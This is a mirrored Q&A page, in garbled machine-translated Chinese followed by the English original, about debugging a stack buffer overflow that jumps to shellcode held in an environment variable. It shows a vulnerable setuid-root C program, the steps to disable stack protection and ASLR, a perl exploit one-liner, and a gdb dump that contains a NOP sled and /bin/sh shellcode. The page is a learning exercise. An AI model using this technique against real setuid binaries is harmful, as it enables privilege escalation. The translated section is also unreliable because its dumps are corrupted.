使用缓冲区溢出执行存储在环境变量中的shellcode [英] Executing shellcode stored in environment variable using buffer overflow

查看:122
本文介绍了使用缓冲区溢出执行存储在环境变量中的shellcode的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我正在使用下面的代码通过使searchstring变量溢出来执行一些存储在环境变量中的shellcode,以便main的返回地址包含anvironment变量的地址。但是,我在printf命令之前遇到了分段错误。

  #include< stdio.h> 
#include< string.h>

void main(int argc,char * argv []){

char searchstring [100];

if(argc> 1)
strcpy(searchstring,argv [1]);
else // //否则
searchstring [0] = 0;

printf( Here);

}

我使用

$ b $编译代码b

  gcc -m32 -g -o溢出.o溢出.c -fno-stack-protector -z execstack 

以便禁用堆栈保护程序并使堆栈可执行。我还通过修改/ proc / sys / kernel / randomize_va_space使其包含0来禁用ASLR。我还将所有者和组更改为root:

  sudo chown root:root溢出.o 
sudo chmod u + s溢出.o

环境变量在shellcode之前包含一个NOP底座,并且我确定地址0xffffd910位于该NOP底座的中间。因此,我使用

  ./ overflow.o $(perl -e'print \x10\xd9\ \xff\xff x40')

但看到分段错误。



使用gdb在main上设置一个断点,然后逐步执行说明。 seg故障发生在到达printf命令之前,并且在seg故障之后立即检查堆栈指针和指令指针

 (gdb)x / 32x $ esp 
0xffffd910:0x90909090 0x90909090 0x90909090 0x90909090
0xffffd920:0x90909090 0x90909090 0x90909090 0x90909090
0xffffd930:0x90909090 0x90909b0xf2b 0xf2c 0b0b0c0f0b0c6b 0bc0b0c0b0c0c0b0b0c0c0b0b0c0c0b0b0c0c0b0b0c0b0b0b0c0b0bc0b0b0b0b0b0b0c0b0b0c0b0b0c0bc0bc0b0b0b0b0c0bc0b0b0b0bc0b0b0b0bc0b0b0bc0cb0bb0bb0bb 0bb0bcb 0bb0bcb 0b b $ b 0xffffd950:0x51e3896e 0x8953e289 0x0080cde1 0x4d524554
0xffffd960:0x6574783d 0x53006d72 0x4c4c4548 0x69622f3d
0xffffd970:0x61622f6e 0x58006873 0x4d5f4d44 0x47414e41
0xffffd980:0x6d3d4445 0x6f687465 0x6c633d64 0x69737361

(GDB) x / x $ eip
0x90909090:无法访问地址0x90909090

检查堆栈帧的麦n(较早发现在地址0xffffd460处)确认地址0xffffd910实际上已经复制到搜索字符串中:

 (gdb)x / 32X 0xffffd460 
0xffffd460:0xffffd49f 0xffffd49e 0xffffd590 0xffffd910
0xffffd470:0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd480:0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd490:0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd4a0:0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd4b0:0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd4c0:0xffffd910 0xffffd910 0xffffd910 0xffffd910 $ bffddx 0xffffc >

我不明白为什么即使main还没有完成执行,堆栈指针和指令指针也会跳转到这些位置呢?此外,为什么指令指针跳到0x90909090而不是0xffffd910?这是引起分段错误的原因,还是我不知道的某些堆栈保护?



我意识到这是一个人为的示例,但是我



谢谢!

解决方案

看完汇编代码后,我发现了正在发生的事情。代码的最后3行是

  0x08048485< + 59> ;: mov ecx,DWORD PTR [ebp-0x4] 
0x08048488< + 62> ;:离开
0x08048489< + 63> ;: lea esp,[ecx-0x4]
0x0804848c< + 66> ;: ret

溢出搜索字符串变量会导致ebp-0x4处的数据被环境变量中NOP底座中间的地址覆盖(0xffffd910) 。因此,上面的第1行将0xffffd910保留在ecx中。



这意味着在上面的第3行中,ecx-0x4 = 0xffffd910-0x4 = 0xffff90c,并且此地址存储在esp中。该地址存储的数据为0x90909090(因为我们仍在NOP底座中间)。最后,在上面的最后一行中,此数据作为main()的返回地址从堆栈中弹出,这就是为什么我们最终得到eip = 0x90909090的原因,并且弹出操作意味着esp移回到0xffff90c + 0x4 = 0xffffd910。



我一直以来的错误在于,假设main()函数的行为与返回地址相同。 C没有返回地址的概念-这些是实现细节-在我的Arch Linux计算机上使用gcc-multilib 4.9.2-1,这就是它的实现方式。


I'm using the code below to try to execute some shellcode stored in an environment variable by overflowing the searchstring variable so that the return address of main contains the address of the anvironment variable. However, I get a segmentation fault before the printf command.

#include <stdio.h>
#include <string.h>

void main(int argc, char *argv[]){

    char searchstring[100];

    if(argc > 1)
        strcpy(searchstring, argv[1]);
    else // otherwise
        searchstring[0] = 0;

    printf("Here");

}

I compile the code using

gcc -m32 -g -o overflow.o overflow.c -fno-stack-protector -z execstack

in order to disable the stack protector and make the stack executable. I also disable ASLR by modifying /proc/sys/kernel/randomize_va_space to contain a 0. I also change the owner and group to root:

sudo chown root:root overflow.o
sudo chmod u+s overflow.o

The environment variable contains a NOP sled before the shellcode, and I determined that the address 0xffffd910 is in the middle of the NOP sled. Therefore I run the program using

./overflow.o $(perl -e 'print "\x10\xd9\xff\xff"x40')

but see a segmentation fault.

Using gdb I set a breakpoint on main and then stepped through the instructions. The seg fault occurs before the printf command is reached, and examining the stack pointer and instruction pointer immediately after the seg fault I see that

(gdb) x/32x $esp
0xffffd910:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd920:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd930:     0x90909090      0x90909090      0xdb31c031      0xb099c931
0xffffd940:     0x6a80cda4      0x6851580b      0x68732f2f      0x69622f68
0xffffd950:     0x51e3896e      0x8953e289      0x0080cde1      0x4d524554
0xffffd960:     0x6574783d      0x53006d72      0x4c4c4548      0x69622f3d
0xffffd970:     0x61622f6e      0x58006873      0x4d5f4d44      0x47414e41
0xffffd980:     0x6d3d4445      0x6f687465      0x6c633d64      0x69737361

(gdb) x/x $eip  
0x90909090:     Cannot access memory at address 0x90909090

Examining the stack frame of main (found earlier to be at address 0xffffd460) confirms that the address 0xffffd910 has indeed been copied into searchstring:

(gdb) x/32x 0xffffd460
0xffffd460:     0xffffd49f      0xffffd49e      0xffffd590      0xffffd910
0xffffd470:     0xffffd910      0xffffd910      0xffffd910      0xffffd910
0xffffd480:     0xffffd910      0xffffd910      0xffffd910      0xffffd910
0xffffd490:     0xffffd910      0xffffd910      0xffffd910      0xffffd910
0xffffd4a0:     0xffffd910      0xffffd910      0xffffd910      0xffffd910
0xffffd4b0:     0xffffd910      0xffffd910      0xffffd910      0xffffd910
0xffffd4c0:     0xffffd910      0xffffd910      0xffffd910      0xffffd910
0xffffd4d0:     0xffffd910      0xffffd910      0xffffd910      0xffffd910

I don't understand why the stack pointer and instruction pointer jump to these locations even though main has not finished executing? Also, why does the instruction pointer jump to 0x90909090 rather than 0xffffd910? Is it this which is causing the segmentation fault, or is it some stack protection which i'm not aware of?

I realise that this is a contrived example, but I am just interested to know what is going on.

Thanks!

解决方案

After looking as the assembler code I have figured out what's happening. The last 3 lines of the code are

0x08048485 <+59>:    mov    ecx,DWORD PTR [ebp-0x4]
0x08048488 <+62>:    leave  
0x08048489 <+63>:    lea    esp,[ecx-0x4]
0x0804848c <+66>:    ret

Overflowing the searchstring variable causes the data at ebp-0x4 to be overwritten with an address midway through the NOP sled in the environment variable (0xffffd910). Therefore line 1 above leaves 0xffffd910 stored in ecx.

This means that in line 3 above, ecx-0x4 = 0xffffd910 - 0x4 = 0xffff90c, and this address is stored in esp. The data stored at this address is 0x90909090 (since we're still midway through the NOP sled). Finally, in the last line above, this data gets popped off the stack as the return address of main(), which is why we end up with eip=0x90909090, and the popping action means that esp gets moved back up to 0xffff90c + 0x4 = 0xffffd910.

My error all along was in assuming that the main() function behaves like any other with regards to return addresses. C has no notion of "return addresses" - these are implementation details - and using gcc-multilib 4.9.2-1 on my Arch Linux machine, this is how it is implemented.

这篇关于使用缓冲区溢出执行存储在环境变量中的shellcode的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆